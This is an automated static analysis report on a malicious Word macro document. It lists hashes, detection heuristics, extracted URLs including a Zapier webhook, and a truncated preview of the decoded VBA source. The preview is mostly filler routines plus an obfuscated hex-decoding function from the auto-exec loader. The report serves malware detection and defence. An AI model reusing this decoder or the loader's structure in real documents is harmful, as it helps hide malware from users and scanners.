Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 644510c25f5b22c8…

MALICIOUS

Office (OLE)

85.0 KB Created: 2018-10-15 10:34:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: e909cf0c6bd761227e274e8345ff6cf4 SHA-1: cd15bfba753622825653d62386ef7a3c647c305f SHA-256: 644510c25f5b22c8e33735f8a9db32f6f52c3b771306f2f41bc8f70546ff4027
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a critical heuristic for an obfuscated auto-exec VBA loader, indicating it's designed to run malicious code upon opening. The VBA macro uses CreateObject and CallByName, common techniques for executing arbitrary code. While the specific payload is not directly visible, the presence of an obfuscated loader and the ClamAV detection strongly suggest it's a downloader for a secondary stage. The Zapier URL is the only non-benign URL found.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6749505-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6749505-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • https://hooks.zapier.com/hooks/catch/3811323/lutrx5/?Post_Title=In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9377 bytes
SHA-256: c257f55c92af8bf428ce2179257953f4b6ab72e2d9e2174eefd6f08ea8bc86f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Sub deneme()

Set syf1 = Sheets("Sayfa1")
Set syf2 = Sheets("Sayfa2")
tds = 6000
tds2 = 10

Dim dizi1(), dizi2(), dizi3() As Variant
ReDim dizi1(1 To tds, 1 To tds2)
ReDim dizi2(1 To tds)
ReDim dizi3(1 To tds, 1 To tds2)

For i = 1 To tds
    For j = 1 To tds2
        dizi1(i, j) = syf1.Cells(i, j)
    Next j
Next i

k = 0
a = 1
For i = 1 To tds
    a = a + 1
    For j = a To tds
        If dizi1(i, 4) = dizi1(j, 4) Then
            k = k + 1
            dizi2(k) = dizi1(i, 4)
        End If
    Next j
Next i

t = 0
For i = 1 To tds
    kntrl = 0
    For j = 1 To k
        If dizi1(i, 4) = dizi2(j) Then
            kntrl = 1
        End If
    Next j
    If kntrl = 0 Then
        t = t + 1
        For r = 1 To tds2
            dizi3(t, r) = dizi1(i, r)
        Next r
    End If
Next i

For i = 1 To t
    For j = 1 To tds2
        syf2.Cells(i, j) = dizi3(i, j)
    Next j
Next i

End Sub

Sub CreateReport()

    Dim coll As Collection
    ' read the data
    Set coll = ReadAlbums(1990, 2001)
    
    ' Print the album details
    PrintAlbum coll

    ' Print the total sales
    PrintTotalSales coll
    
End Sub

Function ReadAlbums(startYear As Long, endYear As Long) _
              As Collection
    
    Dim rg As Range
    Set rg = Sheet1.Range("A1").CurrentRegion
    
    ' Create a collection to store the albums
    Dim coll As New Collection
    Dim oAlbum As clsAlbum
    
    Dim i As Long, Year As Long
    For i = 2 To rg.Rows.Count
        
        Year = rg.Cells(i, 3)
        If startYear <= Year And endYear >= Year Then
            ' Create new album
            Set oAlbum = New clsAlbum
            ' Add the details
            oAlbum.Artist = rg.Cells(i, 1)
            oAlbum.Title = rg.Cells(i, 2)
            oAlbum.Year = Year
            oAlbum.Genre = rg.Cells(i, 4)
            oAlbum.sales = rg.Cells(i, 5)
            ' Add the album objecdt to the collection
            coll.Add oAlbum
        End If
        
    Next i
    
    Set ReadAlbums = coll
    
End Function

Sub PrintAlbum(coll As Collection)
    
    Dim oAlbum As clsAlbum
    For Each oAlbum In coll
        Debug.Print oAlbum.Title, oAlbum.Artist
    Next
    
End Sub

Sub PrintTotalSales(coll As Collection)
    
    Dim oAlbum As clsAlbum, sales As Double
    For Each oAlbum In coll
        sales = sales + oAlbum.sales
    Next
    
    Debug.Print "Total number sales is " & sales
    
End Sub
Sub NoClass()

Dim DataArray() As Variant

DataArray() = Sheet1.Cells(1, 1).CurrentRegion.Value

Dim Counter As Integer

Dim Ticker As Integer

For Counter = LBound(DataArray(), 1) To UBound(DataArray(), 1) – 1

If DataArray(Counter, 1) DataArray(Counter + 1, 1) Then Ticker = Ticker + 1

Next Counter

End Sub
Private Function WS_(ByVal RN_ As String)
Dim MT_ As String: Dim KD_ As Long: For KD_ = 1 To Len(RN_) Step 2: MT_ = MT_ & Chr(Val(Chr(23 + 18 - 3) & Chr(60 + 16 - 12 + 8) & Mid(RN_, KD_, 2)) - 19): Next: WS_ = MT_
End Function
Private Sub Create_XML()

Dim objDom As DOMDocument
Dim objRootElem As IXMLDOMElement
Dim objMemberElem As IXMLDOMElement
Dim objMemberRel As IXMLDOMAttribute
Dim objMemberName As IXMLDOMElement

Set objDom = New DOMDocument

' Creates root element
Set objRootElem = objDom.createElement("Family")
objDom.appendChild objRootElem

' Creates Member element
Set objMemberElem = objDom.createElement("Member")
objRootElem.appendChild objMemberElem

' Creates Attribute to the Member Element
Call Add_Attribute(objDom, objMemberElem, "Relationship", "Father")

' Create element under Member element, and
' gives value "some guy"
Set objMemberName = objDom.createElement("Name")
... (truncated)